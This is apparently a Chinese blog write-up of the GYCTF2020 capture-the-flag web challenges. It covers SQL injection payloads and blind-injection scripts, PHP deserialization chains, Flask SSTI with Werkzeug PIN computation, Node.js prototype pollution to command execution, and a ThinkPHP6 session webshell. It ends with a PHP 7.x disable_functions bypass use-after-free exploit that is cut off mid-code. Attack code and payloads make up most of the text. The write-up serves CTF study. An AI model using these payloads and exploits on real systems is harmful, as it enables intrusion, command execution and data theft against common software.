k0t0r1

GYCTF2020 web 复现
这个比赛应该不会有2021了吧?
扫描右侧二维码阅读全文
12
2020/03

GYCTF2020 web 复现

这个比赛应该不会有2021了吧?

Day1

简单的招聘系统

对用户名进行注入,登录后看回显即可

payload:
'+(select conv(substr(hex((select GROUP_CONCAT(flaaag) from flag)),1,10),16,10))+'

得到后转16进制再转字符串即是flag

Ezupload

这题也是裸奔,直接传个一句话上去/readflag就行了

盲注

<?php
    # flag在fl4g里
    # union select < > = like between
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

这题过滤了select,也看不出可以堆叠就不知道怎么整,没想到那个f14g是列名。至于其它的like,=,>,<被过滤都是小问题,一个regexp就能绕过

看了wp才知道还有这种操作
if(length(database()) regexp 4,sleep(3),1)
好好想想确实,返回的既然是一个数确实没问题
不过这个就真的没想到
if(ascii(substr(fl4g,1,1)) = 102 ,sleep(3),1)
居然可以直接用列名,学习了学习了,以后盲注连select都省了hhh

easyphp

这题挺有意思的,可惜做的时间太晚了,8点多才开始做,出flag时已经11点了有可惜

进入提示有后门,狗妈i了i了
于是扫一下,发现www.zip,下载得到源码

先看login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center>
    <form action="login.php" method="post" style="margin-top: 300">
        <h2>百万前端的用户信息管理系统</h2>
        <h3>半成品系统 留后门的程序员已经跑路</h3>
                <input type="text" name="username" placeholder="UserName" required>
        <br>
        <input type="password" style="margin-top: 20" name="password" placeholder="password" required>
        <br>
        <button style="margin-top:20;" type="submit">登录</button>
        <br>
        <img src='img/1.jpg'>大家记得做好防护</img>
        <br>
        <br>
<?php 
$user=new user();
if(isset($_POST['username'])){
    if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
        die("<br>Damn you, hacker!");
    }
    if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
        die("Damn you, hacker!");
    }
    $user->login();
}
?>
    </form>
</center>

可以看到又是把select过滤了,而且进到lib里

$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();

可以看到使用了预处理,也就是就算有办法绕过但在预处理的作用下也无法注入

不过既然题目提示了后门,那应该就不是通过这里去注入。于是去看看其它

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}

?>

update.php提示是一个未完成的页面,应该就是后门

    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

update()中有个反序列化,八成是序列化的题了,再跟下去

    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

getNewInfo()中将实例化的info类给序列化,然后用safe()处理了一下序列化后的字符串

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

当时第一眼看safe(),就只是觉得是单纯的防sql,但没想到是这题的突破点

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

跟进到Info类中,__call()中使用了login(),很容易就能想到触发这里然后让CtrlCase为dbCtrl类,这样就能执行任意sql了。但CtrlCase并无法控制

这时又往上翻,看到了User类中的__destruct()

    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }

就想能不能触发这个,但总觉得不会是这里于是又找了一下其它链

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

User类中还有一个__toString(),里面调用的update()正好是Info类中没有的,那可以让nickname为Info类去触发__call()
然后就是该怎么触发__toString()了,在UpdateHelper类中看到

    public function __destruct()
    {
        echo $this->sql;
    }

__destruct()sql作为字符串输出,那又是要将sql为User类
最后又回到最初的问题,要怎么控制反序列化

这时再看了一次safe(),发现里面过滤了\,当时没细看,以为是把\替代为空,就想着能不能利用这里,把转义的\"\去掉。但测试了一下大失所望

<?php
class A{
    public $a="\"";
}
$a =new A();
echo serialize($a);

随便整一个类输出一下

发现反序列化时并没用转义,而是先匹配一个",再匹配等长度的字符串,最后再匹配一个"。字符串中就算带有"也不会作为结束的"进行匹配

于是又回去看了一眼safe(),发现是替代为hacker,突然就明白了。这里要利用safe(),将短于hacker的字符串扩增长度为6,以匹配长度。然后用"绕出,控制下一个参数。至于原本在后面的,用}结尾就不会再往后解析
一开始尝试的是直接利用User类中的__destruct(),但发现flag被过滤了,于是就走另一条路
UpdateHelper:__destruct() -> User:__toString() -> Info:__call() -> dbCtrl:login()
然后利用* flag替换为hacker补全

<?php

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function __construct(){
        $this->nickname = new Info();
        $this->age = "select a,1 from user where a!=? limit 1";
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
    }
}

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct(){
        $sql = new User();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password = 1;
    public $mysqli;
    public $token;

}

$info = new Info();

$info->age = '';
$info->nickname = '';
$info->CtrlCase = new UpdateHelper();
$info->CtrlCase->sql = new User();
$info->CtrlCase->sql->nickname = new Info();
$info->CtrlCase->sql->age = "select password,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=? or 1=1 limit 1";
$info->CtrlCase->sql->nickname->CtrlCase = new dbCtrl();

echo serialize($info)

$info->age = '';
$info->nickname = 'flag**********************************************************************************************";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:92:"select password,"c4ca4238a0b923820dcc509a6f75849b" from user where username=? or 1=1 limit 1";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";N;s:8:"password";i:1;s:6:"mysqli";N;s:5:"token";N;}}}}}';

$e = safe(serialize($info));
echo $e;
unserialize($e);

获得密码,解密为glzjin

登录得到flag

一开始用的是Info中的nickname导致这里

$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);

作为字符串使用出了错(突然想到是不是可以利用这里去触发User类的__toString()),搞了好久,改用CtrlCase就可以了。细节上还是要多注意

Day2

第二日为sql专场

easysqli_copy

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

PDO注入,之前因为整hgame过PDO的问题,这里一看用了gbk就知道是宽字节注入
从宽字节注入认识PDO的原理和正确使用
而且并没有设置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse,那直接预处理,过滤基本可以无视掉

直接正常的盲注语句,转为16进制后套入
1%df';SET @sql=concat(char(SQL));PREPARE kaze from @sql;EXECUTE kaze;

# -*- coding:utf8 -*-  
import requests
import re
import time

url = r'http://36409258b50b4e7b926962b4d73e229154a22bab28ea429a.changame.ichunqiu.com/?id='


l1 = 0
r1 = 100

while(l1<=r1):
    mid1 = (l1 + r1)/2    
    # payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)="+str(mid1)+")*9);"
    payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)="+str(mid1)+")*9);"
    print payload
    p = ''
    for c in payload:
        p = p+str(ord(c))+','
    p = p[:-1]
    pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
    print pid
    http = requests.get(url+pid)
    if http.status_code == 200:
        # payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)>"+str(mid1)+")*9);"
        payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)>"+str(mid1)+")*9);"
        print payload
        p = ''
        for c in payload:
            p = p+str(ord(c))+','
        p = p[:-1]
        pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
        print pid
        http = requests.get(url+pid)
        if http.status_code == 200:
            r1 = mid1 - 1
        else:
            l1 = mid1 + 1
    else:
        break

print 
print str(mid1)
k = ''

for j in range(28,42):
    l2 = 0
    r2 = 128
    while(l2<=r2):
        mid2 = (l2 + r2)/2    
        # payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))="+str(mid2)+")*9);"
        payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))="+str(mid2)+")*9);"
        print payload
        p = ''
        for c in payload:
            p = p+str(ord(c))+','
        p = p[:-1]
        pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
        print pid
        http = requests.get(url+pid)
        if http.status_code == 200:
            # payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))>"+str(mid2)+")*9);"
            payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))>"+str(mid2)+")*9);"
            print payload
            p = ''
            for c in payload:
                p = p+str(ord(c))+','
            p = p[:-1]
            pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
            print pid
            http = requests.get(url+pid)
            if http.status_code == 200:
                r2 = mid2 - 1
            else:
                l2 = mid2 + 1
        else:
            break
    print
    k = k+chr(mid2)
    print k

# balabala,eihey,fllllll4g,bbb
# flag{48143b11-440f-438e-8cfa-2afe386790a9}

不过一开始不知道为什么跑不动表名,不过长度可以跑。确认长度是6,库中只有一个table1表后跑列值都没问题(为啥?

blacklist

这题看起来像强网杯的题,然而把预处理也过滤了,绝望.jpg
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

0';show tables;

可以看到flag的表名FlagHere

后面又是奇淫技巧了,mysql中有handler这个关键字
mysql查询语句-handler
可以通过这个关键字,能使用多行sql以及在知道表名的情况下,不用select直接读列
handler a open;handler a read first; 读第一行
handler a open;handler a read next; 读下一行

于是payload就是
0';handler FlagHere open;handler FlagHere read first;

Ezsqli

BUU灵魂前端x

这题很难受,inor被过滤,有root权限但information_schema库和mysql.innodb_table_stats表都读不了。union.*select,join被过滤,用不了无列名注入

当时搜集信息时发现是有sys库的权限的,但知识不足没往这个方向想
sys中有这两个表x$schema_flattened_keys,schema_table_statistics可以获得表名信息,不过发现sys库中带有table的库名大多都会保存表名信息,以后可以多利用利用,不过需要mysql5.7以上
有这个表,通过盲注就可以注出表名了

1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>30))*999*pow(999,102)
1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1))=96)))*999*pow(999,102)
# -*- coding:utf8 -*-  
import requests

url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'


l1 = 0
r1 = 100

while(l1<=r1):
    mid1 = (l1 + r1)/2    
    payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())="+str(mid1)+"))*999*pow(999,102)"
    print payload
    data = {"id":payload}
    http = requests.post(url,data=data)
    if "Error Occured When Fetch Result." in http.text:
        payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>"+str(mid1)+"))*999*pow(999,102)"
        print payload
        data = {"id":payload}
        http = requests.post(url,data=data)
        if "Error Occured When Fetch Result." in http.text:
            r1 = mid1 - 1
        else:
            l1 = mid1 + 1
    else:
        break

print 
print str(mid1)
k = ''

for j in range(mid1):
    l2 = 0
    r2 = 128
    while(l2<=r2):
        mid2 = (l2 + r2)/2    
        payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))="+str(mid2)+")))*999*pow(999,102)"
        print payload
        data = {"id":payload}
        http = requests.post(url,data=data)
        if "Error Occured When Fetch Result." in http.text:
            payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))>"+str(mid2)+")))*999*pow(999,102)"
            print payload
            data = {"id":payload}
            http = requests.post(url,data=data)
            if "Error Occured When Fetch Result." in http.text:
                r2 = mid2 - 1
            else:
                l2 = mid2 + 1
        else:
            break
    print
    k = k+chr(mid2)
    print k

# f1aq_1s_h3r3_@hhhh,users233383333333333

然后就是无列名注入了,这里继续是奇淫技巧
我们可以通过这样去比较两个检索结果,mysql中会对其一个个字段值进行比较并返回真假

于是测试了一下

select ((select 1,2) < (select 1,2))
0
select ((select 1,2) = (select '1',2))
1
select ((select 1,2) > (select '!',2))
1
select ((select 1,2) > (select 'a',2))
1
select ((select 1,2) > (select 0,3))
0
select ((select 'a',2) = (select 'A',2))
1

可以看到,当比较数字与其它时,都会转为int来比较。同时是按顺序比较,第二个值的比较结果并不会影响第一个值的比较结果。还有同mysql中许多比较字符的函数一样,不区分大小写。当然最重要的是要列数相等
可以使用binary去将字符串转为二进制这样就可以区分大小写,但过滤了in时就用不了
可以换使用concat("a",CAST(0 AS JSON)),CAST(0 AS JSON)出来的值为二进制字符串,concat连接后整个字符串都为二进制
测试一下

SELECT (concat("a",CAST(0 AS JSON)) = concat("A",CAST(0 AS JSON)))
0
SELECT (concat("a",CAST(0 AS JSON)) = concat("a",CAST(0 AS JSON)))
1

确实可以区分大小写

于是合并一下,并改成查询就是
1 && (select((select * from table) > (select 1,concat("!",cast(0 as json)))))

原题列数or被过滤用不了order by,可以用group by来得出列数。BUU上吧.+by过滤了,可以改用这样
1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,1)))
两列时error,其它都返回false

然后BUU上又把.+limit给过滤了,不过既然只有一行就不limit 1
本来应该是这样子的
1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,concat("!",cast(0 as json)))))
但不知道BUU的环境搞什么鬼,cast(0 as json)用不了,直接cast(1 as json)都false,正常应该是Nu1L才对。不能用就算了,反正BUU的flag都是小写(面向BUU注入x

# -*- coding:utf8 -*-  
import requests

url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'
flag = "FLAG{CAE1F318-2684-4607-B254-74B06DE155AB}"

for i in range(100):
    for j in range(32,127):
        if j != 34 and j!= 92:
            payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,\""+flag+chr(j)+"\")))"
            print payload
            data = {"id":payload}
            http = requests.post(url,data=data)
            if http.status_code == 200:
                if "Nu1L" not in http.text:
                    break

    payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) = (select 1,\""+flag+chr(j)+"\")))"
    data = {"id":payload}
    http = requests.post(url,data=data)
    if "Nu1L" in http.text:
        flag += chr(j)
        break
    else:
        flag += chr(j-1)

    print
    print flag
    print
    

print flag.lower()

要命的是正好跑到最后正好是by被过滤了,整了好久

Day3

最后一天有点累就没怎么打

Flaskapp

这题考的是PIN码,不过实际上好像并没用过滤到位,导致还是能直接SSTI

关于python的PIN码
从一道ctf题谈谈flask开启debug模式存在的安全问题
简单来说就是能够通过搜集,获得生成PIN码的元素,并且在debug开启下可以通过PIN码通过认证进行RCE

这题因为是Flask所以当时用的是{ {config.from_pyfile()} }去读取文件,没想到这个的权限不足以读取/etc/passwd,但通过其它方式可以

这是大佬们给出的payload
{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('file', 'r').read() }}{ % endif %}{ % endfor %}
(这里由于hexo的问题,需要删掉{和%间的空格)
原来SSTI还能这么操作,学到了学到了

通过这样读取这几个文件

/sys/class/net/eth0/address     获得mac地址
/etc/passwd                 获得用户名
/proc/self/cgroup             获得machine-id

这里要注意的是docker下从/etc/machine-id得到的machine-id是算不正确PIN的
然后报错页面获得路径
/usr/local/lib/python3.7/site-packages/flask/app.py

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410388583',# str(uuid.getnode()),  /sys/class/net/ens33/address , print(0x0242ac120002)
    'aedaaf24655d2a9c5385bc3a9b1eb97f5c4f81d2d41a1ab0a986c8d0e3d0389c'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

脚本填入对应的值,跑一下就出了

然后进入debug页面(就解码的页面随便输个错误的base64编码值),用PIN码进入python shell

不过os.system()被过滤,可以用os.popen()代替扫目录

读flag

当然更简单的就是

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls /').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /this_is_the_fla\g.txt').read()}}

fla\g绕过flag的过滤

现在想想当时明明知道是python3为什么一直在用python2找能用的模块(傻了

ezExpress

express,又是原型链
进入提示要admin账号,那自然是不能注册为admin的
注册个其他账号进入,查看源码发现www.zip,拿下来

/route/index.js中用了merge()clone(),必是原型链了

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

往下找到clone()的位置

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

需要admin账号才能用到clone()

于是去到/login

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题,于是测试一下

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script type="text/javascript">
            var arr  = new Array();
            for(var i = 0;i < 26;i++){
                arr[i] = new Array();
            }
            for(var i = 0;i < 65536;i++){
                j = String.fromCharCode(i).toUpperCase();
                if(j.length == 1){
                    c = j.charCodeAt(0);
                    if(c>64&&c<91){
                        l = arr[c-65].length;
                        arr[c-65][l] = i;
                    }
                }
            }
            for(var i = 0;i < 26;i++){
                document.write("<p>"+String.fromCharCode(i+65)+":</p>");
                document.write("<p>");
                for(j = 0;j < arr[i].length;j++){
                    document.write(arr[i][j]+",");
                }
                document.write("</p>");
            }
        </script>
    </body>
</html>

可以看到结果中

I:
73,105,305,
S:
83,115,383,

I和S都有3个值能够toUpperCase()后为自身,除了大小写外还有其它toUpperCase()后能为I和S。那正好利用I的第三个值去绕过正则检测并在toUpperCase()后为I
当然toUpperCase()有转码的问题toLowerCase()也有,可以改一下去测试(不过不要用edge测)

能登入为admin账号后,就该开始找要污染的参数

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的

res.outputFunctionName=undefined;

也就是可以通过污染outputFunctionName进行SSTI

于是抓/action的包,Content-Type设为application/json
通过报错查到项目路径

于是将flag写入到/app/public/flag

Payload:
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}

然后访问/info后再去/flag拿到flag

除此之外还能直接return在访问/info返回flag文件(需要同步执行
{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

官方的wp给的是反弹shell,但怎样都成功不了懵逼

easy_thinking

看题名感觉就是TP的题,居然是TP6的漏洞,果然新出的版本问题多

随便访问一下可以看到是TP6.0

然后扫一下发现又是在www.zip源码泄露

    public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }

一开始还以为又是sql注入,不过看了search的源码后,发现根本没用到数据库。倒是把搜索值写入了session中,于是查一下tp6关于session的漏洞

看到这篇
ThinkPHP6 任意文件操作漏洞分析
我们可以控制PHPSESSID为32位长度(包含后缀名)去控制session文件名,然后利用逻辑上的漏洞往session中写入一个shell,这样就可以通过session文件执行一句话

于是像这样在登录处构造PHPSESSID

在搜索处写入php代码

发现system()不能用,于是查看disable_functions

执行命令的函数基本被过滤,虽然putenv没被过滤,但error_logmail都被过滤了
而官方wp给出的gnupg扩展BUU并没有(就是用gnupg_init(),其它相同)

于是先看看flag在哪

可以看到要用readflag去读flag

接着四处寻找找到了这里
exploits

修改一下要执行的命令即可

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

